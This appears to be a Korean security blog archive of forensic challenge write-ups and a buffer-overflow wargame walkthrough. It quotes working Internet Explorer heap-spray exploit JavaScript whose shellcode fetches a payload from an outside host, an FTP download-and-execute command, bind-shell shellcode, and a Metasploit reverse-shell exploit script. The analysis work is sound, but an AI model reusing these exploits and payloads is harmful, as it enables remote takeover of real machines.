function com(){try{var obj=document.createElement('object');document.body.appendChild(obj);obj.setAttribute('classid','clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F');if(obj){var shcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u373D");var hbs=0x100000;var sss=hbs-(shcode.length*2+0x38);var hb=(0x0c0c0c0c-hbs)/hbs;var myvar=unescape("%u0C0C%u0C0C");var ss=myvar;while(ss.length*2<sss){ss+=ss;}
ss=ss.substring(0,sss/2);var m=new Array();for(var i=0;i<hb;i++){m[i]=ss+shcode;}
var z=Math.ceil(0x0c0c0c0c);z=document.scripts[0].createControlRange().length;}}catch(e){}
spreadsheet();}
function spreadsheet(){try{var objspread=new ActiveXObject('OWC10.Spreadsheet');}catch(e){}
if(objspread){try{var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u383D");var array=new Array();var ls=0x81000-(shellcode.length*2);var bigblock=unescape("%u0b0c%u0b0C");while(bigblock.length<ls/2){bigblock+=bigblock;}
var lh=bigblock.substring(0,ls/2);delete bigblock;for(var i=0;i<0x99*2;i++){array[i]=lh+lh+shellcode;}
CollectGarbage();var objspread=new ActiveXObject("OWC10.Spreadsheet");e=new Array();e.push(1);e.push(2);e.push(0);e.push(window);for(i=0;i<e.length;i++){for(j=0;j<10;j++){try{objspread.Evaluate(e[i]);}catch(e){}}}
window.status=e[3]+"";for(j=0;j<10;j++){try{objspread.msDataSourceObject(e[3]);}catch(e){}}}catch(e){}}
Complete();}
mdac();

여기서 각각 함수에 따른 취약점을 설명하면 아래와 같다.

mdac() MS06-014 CLSID : BD96C556-65A3-11D0-983A-00C04FC29E36 외 다수 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=1

aolwinamp() AOL IWinAmpActiveX Class (AmpX.dll 2.4.0.6) ConvertFile() remote overflow exploit (IE6/IE7) CVE-2007-6250 관련 사이트 : http://www.kb.cert.org/vuls/id/568681 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=3

directshow() MS09-032 CLSID : 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=4

snapshot() CVE-2008-2463 CLSID : F0E42D50-368C-11D0-AD81-00A0C90DC8D9 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=6

com() MS05-052 CLSID : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=7

spreadsheet() CVE-2009-1136 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=8

Q4. Can you sketch an overview of the general actions performed by the attacker? (2pts)

공격자는 rapidshare.com.eyu32.ru/login.php 페이지에 SQL Injection 등의 공격을 통해 악성 스크립트를 삽입하였다. 그로 인해 해당 페이지 방문자는 http://sploitme.com.cn/?click=3feb5a6b2f 페이지로 접속하게 되며, MS06-014 취약점 외 다수 취약점을 통해 악성코드에 감염되게 된다.

Q5. What steps are taken to slow the analysis down? (2pts)

패킷을 보면 http://sploitme.com.cn/?click=3feb5a6b2f 페이지 접속 시 아래와 같은 코드를 보여줘서 없는 페이지로 착각하게 만든다.

1
2
3
4
5
6
7


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php?s=3feb5a6b2f was not found on this server.</p>

Q6. Provide the javascripts from the pages identified in the previous question. Decode/deobfuscate them too. (8pts)

자바스크립트를 디코딩 하라는 문제로 보이며 위 3번에서 모두 설명 했음.

Q7. On the malicious URLs at what do you think the variable 's' refers to? List the differences. (2pts)

s 변수에 적힌값에 따라 접속하는 페이지는 아래 두 페이지로 확인되었으며 두 페이지의 내용은 약간의 차이가 있다. 설명은 3번에서 모두 했음. http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f http://sploitme.com.cn/fg/show.php?s=84c090bd86

Q8. Which operating system was targeted by the attacks? Which software? And which vulnerabilities? Could the attacks been prevented? (4pts)

모두 Windows 시스템의 Internet Explorer를 타켓으로 한 취약점이다.

mdac() MS06-014 CLSID : BD96C556-65A3-11D0-983A-00C04FC29E36 외 다수 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=1

directshow() MS09-032 CLSID : 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=4

snapshot() CVE-2008-2463 CLSID : F0E42D50-368C-11D0-AD81-00A0C90DC8D9 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=6

com() MS05-052 CLSID : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=7

spreadsheet() CVE-2009-1136 최종 다운로드 파일 : http://sploitme.com.cn/fg/load.php?e=8

Q9. What actions does the shellcodes perform? Please list the shellcodes (+md5 of the binaries). What's the difference between them? (8pts)

쉘코드 파일이 전체 덤프에서 총 5개 있었으나 이중 정상적으로 동작하는 것은 2개로 MD5값은 아래와 같다.

1
2


#174 : e827460c0b6699922ac5a8e11fc3d3e2
#496 : b906014e9fcc31a849f97bebac475df5

Q10. Was there malware involved? What is the purpose of the malware(s)? (We are not looking for a detailed malware analysis for this challenge) (4pts)

우선 최종적으로 다운로드 하는 파일은 모두 같으며 MD5 값은 다음과 같다. 52312bb96ce72f230f0350e78873f791

해당 파일은 특별히 악의적인 증상은 없으며 실행하게 되면 http://www.honeynet.org/ URL로 접속하게 된다.

Challenge 1 of the Forensic Challenge 2010 - pcap attack trace

Tue, 15 Mar 2011 17:51:11 +0000

예전부터 한번 풀어봐야지 하고 생각했던걸 이제서야 풀어보려고 한다. 영어의 압박이 있긴 하지만....... URL : http://www.honeynet.org/node/504

Q1. Which systems (i.e. IP addresses) are involved? (2pts)

1번 문제는 간단하게 어떤 시스템이 관여되어 있는지 확인하는 문제이다. Wireshark를 통해 Conversations 기능을 이용하여 확인하면 쉽게 확인할 수 있다. 대충 몇몇 패킷을 확인하니 공격자는 98.114.205.102 시스템이며 공격 받는쪽은 192.150.11.111 시스템이다.

Q2. What can you find out about the attacking host (e.g., where is it located)? (2pts)

공격자의 위치를 묻는 문제이다. 공격자는 98.114.205.102 IP의 시스템이였으므로 아래 사이트에서 확인해 보자. http://www.robtex.com/ip/98.114.205.102.html#whois

Q3. How many TCP sessions are contained in the dump file? (2pts)

TCP 패킷 갯수를 묻는 문제이다. Wireshark 에서 "TCP" 로 필터를 걸어 확인하면 348개의 패킷을 확인할 수 있다.

Q4. How long did it take to perform the attack? (2pts)

공격이 얼마동안 진행되었는지를 묻는 문제로 보이며 역시 Wireshark 의 마지막 패킷을 보면 시간을 확인할 수 있다. 16.219218

Q5. Which operating system was targeted by the attack? And which service? Which vulnerability? (6pts)

우선 Wireshark에서 패킷에서 #14를 보면 Windows 2000 인지 확인하는 부분이 있다. 따라서 타켓 OS는 Windows 2000 이다.

그리고 취약점을 살펴보면 패킷 중 DsRoleUpgradeDownlevelServer request 라는 부분이 있다. 구글에서 "DsRoleUpgradeDownlevelServer" 로 검색을 해보면 아래와 같은 취약점을 확인할 수 있다. Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow (CVE-2003-0533, MS04-011) http://www.exploit-db.com/exploits/16368/

Q6. Can you sketch an overview of the general actions performed by the attacker? (6pts)

공격에 대한 대략적인 스케치를 해보라는 문제 같은데 패킷을 분석해보면 공격 방법은 아래와 같다.

Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow 취약점을 이용하여 쉘코드 실행.
쉘코드 실행 후 아래 명령어 수행. (해당 명령어는 Wireshark에서 #42 번째에서 확인할 수 있다.)

1

echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe

위 명령어를 통해 ssms.exe 실행 후 악성코드 감염.

Q7. What specific vulnerability was attacked? (2pts)

Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow

Q8. What actions does the shellcode perform? Pls list the shellcode. (8pts)

쉘코드를 분석하라는 문제로 보인다. Wireshark에서 #29번째 패킷을 보면 NOP(0x90) 코드가 존재하는 것으로 보아 해당 부분이 쉘코드로 보인다. 아래 코드만 따로 떼어 저장 후 libemu(http://libemu.mwcollect.org)를 수정하여 만든 scdbg(http://sandsprite.com/blogs/index.php?uid=7&pid=152)를 이용하여 분석을 해보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
00000016 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
00000032 EB 10 5A 4A 33 C9 66 B9 7D 01 80 34 0A 99 E2 FA ?ZJ3?? 4 쇺?
00000048 EB 05 E8 EB FF FF FF 70 95 98 99 99 C3 FD 38 A9 ?堯p븯솛츳8?
00000064 99 99 99 12 D9 95 12 E9 85 34 12 D9 91 12 41 12 솛?? ?4 ? A 
00000080 EA A5 12 ED 87 E1 9A 6A 12 E7 B9 9A 62 12 D7 8D 蔚 ??j 濚쉇 ?
00000096 AA 74 CF CE C8 12 A6 9A 62 12 6B F3 97 C0 6A 3F 챫鷗?쬃b k?픧?
00000112 ED 91 C0 C6 1A 5E 9D DC 7B 70 C0 C6 C7 12 54 12 ?읗 ^ ?p읗?T 
00000128 DF BD 9A 5A 48 78 9A 58 AA 50 FF 12 91 12 DF 85 颯쉅Hx쉃챀 ??
00000144 9A 5A 58 78 9B 9A 58 12 99 9A 5A 12 63 12 6E 1A 쉅Xx썧X 솞Z c n 
00000160 5F 97 12 49 F3 9A C0 71 1E 99 99 99 1A 5F 94 CB _?I?픮 솛?_붘
00000176 CF 66 CE 65 C3 12 41 F3 9C C0 71 ED 99 99 99 C9 ???A?픮?솛?
00000192 C9 C9 C9 F3 98 F3 9B 66 CE 75 12 41 5E 9E 9B 99 섘쌸? A^옕?
00000208 9E 3C AA 59 10 DE 9D F3 89 CE CA 66 CE 69 F3 98 ?챍 ??狂f??
00000224 CA 66 CE 6D C9 C9 CA 66 CE 61 12 49 1A 75 DD 12 ???? I u?
00000240 6D AA 59 F3 89 C0 10 9D 17 7B 62 10 CF A1 10 CF m챍?? {b 區 ?
00000256 A5 10 CF D9 FF 5E DF B5 98 98 14 DE 89 C9 CF AA ?裙^森삓 ??
00000272 50 C8 C8 C8 F3 98 C8 C8 5E DE A5 FA F4 FD 99 14 P훑흴샠?裨浹? 
00000288 DE A5 C9 C8 66 CE 79 CB 66 CE 65 CA 66 CE 65 C9 裨f??????
00000304 66 CE 7D AA 59 35 1C 59 EC 60 C8 CB CF CA 66 4B f?챍5 Y?훙銶fK
00000320 C3 C0 32 7B 77 AA 59 5A 71 76 67 66 66 DE FC ED 쳄2{w챍Zqvgff數?
00000336 C9 EB F6 FA D8 FD FD EB FC EA EA 99 DA EB FC F8 濁麵凞獪?潘孝
00000352 ED FC C9 EB F6 FA FC EA EA D8 99 DC E1 F0 ED CD 贓濁獪葦쇴鎖雀
00000368 F1 EB FC F8 FD 99 D5 F6 F8 FD D5 F0 FB EB F8 EB 衆孝?歷飄驢魂幅
00000384 E0 D8 99 EE EA AB C6 AA AB 99 CE CA D8 CA F6 FA 鮮숊原튠쳶狂襪濁
00000400 F2 FC ED D8 99 FB F0 F7 FD 99 F5 F0 EA ED FC F7 潗簪숞棕?春悠嚆
00000416 99 F8 FA FA FC E9 ED 99 FA F5 F6 EA FC EA F6 FA 숚頰灰?狹朶獪濁
00000432 F2 FC ED 99 90 90 90 90 90 90 90 90 90 90 90 90 潗? 
00000448 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
00000464 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 

scdbg를 통해 확인한 화면

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


C:\Users\ByJJoon\Downloads\scdbg>scdbg.exe -f bin
Loaded 1e0 bytes from file bin
Initilization Complete..
Max Steps: 1000000
Using base offset: 0x401000

401140 GetProcAddress(CreateProcessA)
401140 GetProcAddress(ExitThread)
401140 GetProcAddress(LoadLibraryA)
4010b4 LoadLibraryA(ws2_32)
401140 GetProcAddress(WSASocketA)
401140 GetProcAddress(bind)
401140 GetProcAddress(listen)
401140 GetProcAddress(accept)
401140 GetProcAddress(closesocket)
4010ca WSASocket(2, 1, 0)
4010de bind(port: 1957 )
4010e4 listen(h=4711)
4010ea accept(h=4711)
401127 CreateProcessA( cmd, )
40112b closesocket(h=ffffffff)
40112f closesocket(h=4711)
401133 ExitThread(-1)

stepcount 7512

libemu를 통해 확인한 화면

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


[byjjoon@ByJJoon shellcode]$ /opt/libemu/bin/sctest -Ss 100000 < bin 
verbose = 0
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 7c800000
procname name is 'CreateProcessA'
dll is kernel32 7c800000 7c800000 
found CreateProcessA at addr 7c802367
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 7c800000
procname name is 'ExitThread'
dll is kernel32 7c800000 7c800000 
found ExitThread at addr 7c80c058
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 7c800000
procname name is 'LoadLibraryA'
dll is kernel32 7c800000 7c800000 
found LoadLibraryA at addr 7c801d77
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:661 env_w32_hook_LoadLibrayA
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 71a10000
procname name is 'WSASocketA'
dll is ws2_32 71a10000 71a10000 
found WSASocketA at addr 71a18769
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 71a10000
procname name is 'bind'
dll is ws2_32 71a10000 71a10000 
found bind at addr 71a13e00
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 71a10000
procname name is 'listen'
dll is ws2_32 71a10000 71a10000 
found listen at addr 71a188d3
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 71a10000
procname name is 'accept'
dll is ws2_32 71a10000 71a10000 
found accept at addr 71a21028
Hook me Captain Cook!
environment/win32/env_w32_dll_export_kernel32_hooks.c:460 env_w32_hook_GetProcAddress
module ptr is 71a10000
procname name is 'closesocket'
dll is ws2_32 71a10000 71a10000 
found closesocket at addr 71a19639
Hook me Captain Cook!
environment/win32/env_w32_dll_export_ws2_32_hooks.c:461 env_w32_hook_WSASocketA
SOCKET WSASocket(af=2, type=1, protocol=0, lpProtocolInfo=0, group=0, dwFlags=0);
socket 3 
Hook me Captain Cook!
environment/win32/env_w32_dll_export_ws2_32_hooks.c:101 env_w32_hook_bind
bind(s=3, name=41716d, namelen=16
host 0.0.0.0 port 1957
Hook me Captain Cook!
environment/win32/env_w32_dll_export_ws2_32_hooks.c:231 env_w32_hook_listen
listen(s=3, backlog=1)
Hook me Captain Cook!
environment/win32/env_w32_dll_export_ws2_32_hooks.c:58 env_w32_hook_accept
accept(s=3, addr=0, addrlen=0);

scdbg를 통해 확인해보면 Bind 쉘코드이며 포트는 1957번을 오픈하는 것으로 보인다.

Q9. Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts)

음?

Q10. Was there malware involved? Whats the name of the malware? (We are not looking for a detailed malware analysis for this challenge) (2pts)

아래 명령어를 통해 전송된 파일은 ssms.exe 파일이다.

1

echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe

해당 파일을 Wireshark에서 추출하여 보면 MD5값은 14a09a48ad23fe0ea5a180bee8cb750a 이다. 해당 MD5 값으로 VirusTotal 사이트에서 확인하면 아래와 같다. http://www.virustotal.com/file-scan/report.html?id=b14ccb3786af7553f7c251623499a7fe67974dde69d3dffd65733871cddf6b6d-1299265132

Q11. Do you think this is a manual or an automated attack? Why? (2pts)

이 공격이 자동화 된 공격인지 혹은 수동으로 한 공격인지를 묻는 문제로 보인다. 당연히 자동화된 공격아닌가? -_-a

KODOS :: The Python Regular Expression Debugger

Tue, 08 Mar 2011 08:21:35 +0000

정규식을 작성할때 내가 작성한 정규식이 제대로 매칭 되는지 확인할 필요가 있습니다. 그럴 경우에 유용하게 사용되는 툴이라 기록해 둡니다.

http://kodos.sourceforge.net/

Bruteforce 용 사전파일 생성

Mon, 07 Mar 2011 09:09:17 +0000

Bruteforce 용 사전 파일 생성 시 예제 코드 입니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


#!C:\Python27\Python.exe
#-*- coding:utf-8 -*-
import itertools

alpha = '123'

'''
111
112
113
122
123
133
222
223
233
333
'''
for s in itertools.combinations_with_replacement(alpha, 3):
 output = ''.join(s)
 print output

'''
123
132
213
231
312
321
'''
for s in itertools.permutations(alpha, 3):
 output = ''.join(s)
 print output

'''
111
112
113
121
122
123
131
132
133
211
212
213
221
222
223
231
232
233
311
312
313
321
322
323
331
332
333
'''
length = 3
for s in itertools.product(alpha, repeat=length):
 output = ''.join(s)
 print output

참고로 combinations_with_replacement() 함수는 Python 2.7 버전에서 추가된거 같네요.

BOF 원정대 - Level 20 (death_knight)

Mon, 14 Feb 2011 14:29:38 +0000

문제 소스는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


/*
 The Lord of the BOF : The Fellowship of the BOF
 - dark knight
 - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
 char buffer[40];

 int server_fd, client_fd; 
 struct sockaddr_in server_addr; 
 struct sockaddr_in client_addr; 
 int sin_size;

 if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
 perror("socket");
 exit(1);
 }

 server_addr.sin_family = AF_INET; 
 server_addr.sin_port = htons(6666); 
 server_addr.sin_addr.s_addr = INADDR_ANY; 
 bzero(&(server_addr.sin_zero), 8); 

 if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
 perror("bind");
 exit(1);
 }

 if(listen(server_fd, 10) == -1){
 perror("listen");
 exit(1);
 }

 while(1) { 
 sin_size = sizeof(struct sockaddr_in);
 if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
 perror("accept");
 continue;
 }

 if (!fork()){ 
 send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
 send(client_fd, "You : ", 6, 0);
 recv(client_fd, buffer, 256, 0);
 close(client_fd);
 break;
 }

 close(client_fd); 
 while(waitpid(-1,NULL,WNOHANG) > 0);
 }
 close(server_fd);
}

이번 문제는 Remote BOF 문제이다. 포트를 6666번을 열고 프로세스를 하나 fork 하면서 데몬이 동작하게 된다. 취약점은 buffer 변수의 크기보다 큰 데이터를 recv() 함수에서 받도록 되어 있어 해당 부분에서 오버플로우가 발생할 수 있다. 따라서 attach를 하여 디버깅을 하여 보도록 하자. 디버깅 전 우선 리모트로 공격을 하기 위한 코드를 작성해보자.

먼저 쉘코드이다. 쉘코드는 Metasploit에 있는 쉘코드를 이용해 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


 _ _
 _ | | (_)_
 ____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
 |_|

 =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 644 exploits - 328 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
 =[ svn r11749 updated today (2011.02.14)

msf > show payloads

Payloads
========

 Name Disclosure Date Rank Description
 ---- --------------- ---- -----------
.
.
.
[생략]
.
.
.

 linux/x86/shell/find_tag normal Linux Command Shell, Find Tag Stager
 linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6)
 linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager
 linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6)
 linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline
 linux/x86/shell_find_port normal Linux Command Shell, Find Port Inline
 linux/x86/shell_find_tag normal Linux Command Shell, Find Tag Inline
 linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/x86/shell_reverse_tcp2 normal Linux Command Shell, Reverse TCP Inline - Metasm demo
 netware/shell/reverse_tcp normal NetWare Command Shell, Reverse TCP Stager
 osx/armle/execute/bind_tcp normal OSX Write and Execute Binary, Bind TCP Stager
 osx/armle/execute/reverse_tcp normal OSX Write and Execute Binary, Reverse TCP Stager
 osx/armle/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager
 osx/armle/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager
.
.
.

msf > use linux/x86/shell_reverse_tcp
msf payload(shell_reverse_tcp) > show options

Module options (payload/linux/x86/shell_reverse_tcp):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 LHOST yes The listen address
 LPORT 4444 yes The listen port

msf payload(shell_reverse_tcp) > set LHOST 192.168.3.1
LHOST => 192.168.3.1
msf payload(shell_reverse_tcp) > generate
# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
buf =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +
"\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53" +
"\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87" +
"\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68" +
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd" +
"\x80"
msf payload(shell_reverse_tcp) >

이제 Python으로 공격용 코드를 작성해 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
 print '[+] Connect - %s:%d' % (host, port)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((host, port))

 a = s.recv(128)
 print '[+] Receive - %s' % a

 #######################
 # DEGUG
 debug = raw_input('Please hit enter to continue')
 #######################

 print '[+] Sending Payload'
 s.send(payload)

 s.close()

def main():
 host = '192.168.3.129'
 port = 31337

 payload = ''
 payload += 'A'*44
 payload += pack('<L', 0xbbbbbbbb)
 payload += '\x90'*100
 payload += shellcode

 send_payload(host, port, payload)

if __name__ == '__main__':
 print '[+] Strat!'
 main()

이제 모두 준비가 완료되었으니 디버깅을 해보도록 하자. 현재 서버에서 6666 포트로 데몬이 동작하고 있으나 해당 데몬을 디버깅 할 수 있는 권한이 없으므로 소스를 포트번호만 31337로 수정 후 컴파일 하여 아래와 같이 실행을 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


[xavius@localhost xavius]$ cp death_knight.c death_knight_modify.c
[xavius@localhost xavius]$ gcc death_knight_modify.c -o death_knight_modify 
[xavius@localhost xavius]$ ls
death_knight death_knight.c death_knight_modify death_knight_modify.c
[xavius@localhost xavius]$ ./death_knight_modify &
[1] 682
[xavius@localhost xavius]$ id 
uid=519(xavius) gid=519(xavius) groups=519(xavius)
[xavius@localhost xavius]$ ps -ef | grep xavius
death_kn 632 1 0 23:07 ? 00:00:00 /home/xavius/death_knight
root 643 642 0 23:08 pts/0 00:00:00 login -- xavius 
xavius 644 643 0 23:09 pts/0 00:00:00 -bash2
xavius 682 644 0 23:23 pts/0 00:00:00 ./death_knight_modify
xavius 687 644 0 23:23 pts/0 00:00:00 ps -ef
xavius 688 644 0 23:23 pts/0 00:00:00 -bash2
[xavius@localhost xavius]$ 

현재 PID가 682번으로 데몬이 동작함을 알 수 있다. 여기서 위에서 작성한 Python 공격 코드를 실행하게 되면 Payload 전송 전 커서를 입력받도록 대기를 하게 되며 이 순간에 해당 데몬은 새로운 자식 프로세스를 fork 하게 된다. 아래는 위에서 작성한 Python 공격 코드를 실행 후 엔터를 치기 전 상태이다.

1
2
3
4
5
6
7
8
9


[xavius@localhost xavius]$ ps -ef | grep xavius
death_kn 632 1 0 23:07 ? 00:00:00 /home/xavius/death_knight
root 643 642 0 23:08 pts/0 00:00:00 login -- xavius 
